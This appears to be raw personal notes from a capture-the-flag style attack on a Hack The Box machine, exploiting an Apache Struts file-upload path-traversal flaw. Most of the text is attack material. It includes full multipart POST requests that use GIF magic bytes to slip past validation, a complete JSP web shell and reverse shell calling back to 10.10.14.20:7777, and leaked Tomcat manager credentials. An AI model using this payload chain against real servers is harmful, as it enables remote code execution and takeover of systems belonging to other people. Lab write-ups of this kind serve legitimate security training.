form id=“upload” name=“upload” action=“/upload.action;jsessionid=300B99F54DFABC14CF322AA0D2B93FB6” method=“post” enctype=“multipart/form-data”> class=“mb-3 file-group”> for=“upload” class=“form-label”>Choose an image to upload: type=“file” name=“upload” id=“upload” class=“form-control”/> lass=“d-grid”type=“submit” value=“Upload” id=“upload_0” class=“btn btn-primary”/> iv

this is post endpoint for file upload

/upload.action;jsessionid=300B99F54DFABC14CF322AA0D2B93FB6

nginx is being used as a reverse proxy

apache tomcat is the actual server running the java app

jsessionid being passed in url can i fuzz it?? is there a format for them idk

*tomcat gui creds* ``

I think this the CVE

https://cloudsecurityalliance.org/blog/2024/03/06/cybersecurity-advisory-apache-struts-vulnerability-cve-2023-50164

Cybersecurity Advisory: Apache Struts Vulnerability CVE-2023-50164

this docker container image of tomcat is vulnerable to rce with that CVE

https://github.com/Trackflaw/CVE-2023-50164-ApacheStruts2-Docker/blob/main/context.xml

this is what i used https://github.com/snyk-labs/CVE-2023-50164-POC

POC

curl \
http://localhost:9999/struts-vuln-poc/upload.action \
-F "Upload=@./payload/rogue.jsp" \
-F "uploadFileName=../src/main/webapp/rogue.jsp"

gif file top GIF89aÜ�T�÷�F@?F04U;7 ;79zxw 3/3ULIÜÝà4*&º­¥*&)356e[Zpll�J#”���.)/RD! ^.&K0” %91,0èèêǾ¸&äáÝÒµ¥YBArL:çåäÖÔÒµ³¶HGM¾º·ÇÇʑ‘Ž€x«”‡uf²‰m¤oOª§§TSSôòô«¡š~h[”Š‚Ç©—çÝÑ÷õø¤bNC!kVK¡“‹lD5aDéοld]ÒÎʨzf“jS¾•®zRÌ¡‚Æ“iz…ˆýûüTU[rV<öô÷+&0

this is the absolute path of the webapp

/usr/local/tomcat/webapps/ROOT/

this file path? ../../../../../../../../usr/local/tomcat/webapps/ROOT/WEB-INF/files.gif

WEB-INF/upload.jsp

this is where files get uploaded http://strutted.htb:8080/uploads/20250805_225944/files.gif

imma keep looking

this is the version of struts in library struts2-core-6.3.0.1.jar vulnerabilities

CVE-2023-50164

CVE-2024-53677 newer one this should b the cve

I am using the fileUpload Interceptor so the last CVE should work

now I need to bypass validation checks and upload jsp for rev shell

THIS WORKED ON BURP GOT DIRECTORY TRAVERSAL

holly I got it!!!!!!!!!!!!!!!!!!!!

POST /upload.action HTTP/1.1 Host: strutted.htb:8080 User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq8xuqupv9fo4psw6 Content-Length: 577

------WebKitFormBoundaryq8xuqupv9fo4psw6 Content-Disposition: form-data; name="Upload"; filename="file.gif" Content-Type: image/gif

GIF89aÜ�T�÷�F@?F04U;7 ;79zxw 3/3ULIÜÝà4*&º­¥*&)356e[Zpll�J#"���.)/RD! ^.&K0'' %91,0èèêǾ¸&äáÝÒµ¥YB=>ArL:çåäÖÔÒµ³¶HGM¾º·ÇÇʑ‘Ž€x«”‡uf²‰m¤oOª§§TSSôòô«¡š~h[”Š‚Ç©—çÝÑ÷õø¤bNC!kVK¡“‹lD5aDéοld]ÒÎʨzf“jS¾•®zRÌ¡‚Æ“iz…ˆýûüTU[rV<öô÷+&0 ------WebKitFormBoundaryq8xuqupv9fo4psw6 Content-Disposition: form-data; name="uploadFileName"

../../file.gif ------WebKitFormBoundaryq8xuqupv9fo4psw6--

magic file number GIF89aÜ

java web 2 way from rev shells worked!!!

full burp post request

POST /upload.action HTTP/1.1 Host: strutted.htb:80 User-Agent: Mozilla/5.0 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryq8xuqupv9fo4psw6 Content-Length: 3850

------WebKitFormBoundaryq8xuqupv9fo4psw6 Content-Disposition: form-data; name="Upload"; filename="file.gif" Content-Type: image/gif

GIF89a�<% /* * Usage: This is a 2 way shell, one web shell and a reverse shell. First, it will try to connect to a listener (atacker machine), with the IP and Port specified at the end of the file. * If it cannot connect, an HTML will prompt and you can input commands (sh/cmd) there and it will prompts the output in the HTML. * Note that this last functionality is slow, so the first one (reverse shell) is recommended. Each time the button "send" is clicked, it will try to connect to the reverse shell again (apart from executing * the command specified in the HTML form). This is to avoid to keep it simple. */ %>

<%@page import="java.lang.*"%> <%@page import="java.io.*"%> <%@page import="java.net.*"%> <%@page import="java.util.*"%>

<html> <head> <title>jrshell</title> </head> <body> <form METHOD="POST" NAME="myform" ACTION=""> <input TYPE="text" NAME="shell"> <input TYPE="submit" VALUE="Send"> </form> <pre> <% // Define the OS String shellPath = null; try { if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) { shellPath = new String("/bin/sh"); } else { shellPath = new String("cmd.exe"); } } catch( Exception e ){} // INNER HTML PART if (request.getParameter("shell") != null) { out.println("Command: " + request.getParameter("shell") + "\n<BR>"); Process p; if (shellPath.equals("cmd.exe")) p = Runtime.getRuntime().exec("cmd.exe /c " + request.getParameter("shell")); else p = Runtime.getRuntime().exec("/bin/sh -c " + request.getParameter("shell")); OutputStream os = p.getOutputStream(); InputStream in = p.getInputStream(); DataInputStream dis = new DataInputStream(in); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); } } // TCP PORT PART class StreamConnector extends Thread { InputStream wz; OutputStream yr; StreamConnector( InputStream wz, OutputStream yr ) { this.wz = wz; this.yr = yr; } public void run() { BufferedReader r = null; BufferedWriter w = null; try { r = new BufferedReader(new InputStreamReader(wz)); w = new BufferedWriter(new OutputStreamWriter(yr)); char buffer[] = new char[8192]; int length; while( ( length = r.read( buffer, 0, buffer.length ) ) > 0 ) { w.write( buffer, 0, length ); w.flush(); } } catch( Exception e ){} try { if( r != null ) r.close(); if( w != null ) w.close(); } catch( Exception e ){} } }

`try {`
    `Socket socket = new Socket( "10.10.14.20", 7777 ); // Replace with wanted ip and port`
    `Process process = Runtime.getRuntime().exec( shellPath );`
    `new StreamConnector(process.getInputStream(), socket.getOutputStream()).start();`
    `new StreamConnector(socket.getInputStream(), process.getOutputStream()).start();`
    `out.println("port opened on " + socket);`
 `} catch( Exception e ) {}`

%> </pre> </body> </html> ------WebKitFormBoundaryq8xuqupv9fo4psw6 Content-Disposition: form-data; name="uploadFileName"

../../file.jsp ------WebKitFormBoundaryq8xuqupv9fo4psw6--

<!-- <user username="admin" password="<must-be-changed>" roles="manager-gui"/> <user username="robot" password="<must-be-changed>" roles="manager-script"/> <role rolename="manager-gui"/> <role rolename="admin-gui"/> <user username="admin" password="IT14d6SSP81k" roles="manager-gui,admin-gui"/> ---> <!--

Built-in Tomcat manager roles: - manager-gui - allows access to the HTML GUI and the status pages - manager-script - allows access to the HTTP API and the status pages

*whats this* <!-- Define an AJP 1.3 Connector on port 8009 --> <!-- <Connector protocol="AJP/1.3" address="::1" port="8009" redirectPort="8443" /> -->

james:x:1000:1000:Network Administrator:/home/james:/bin/bash

sudo -l

root was super easy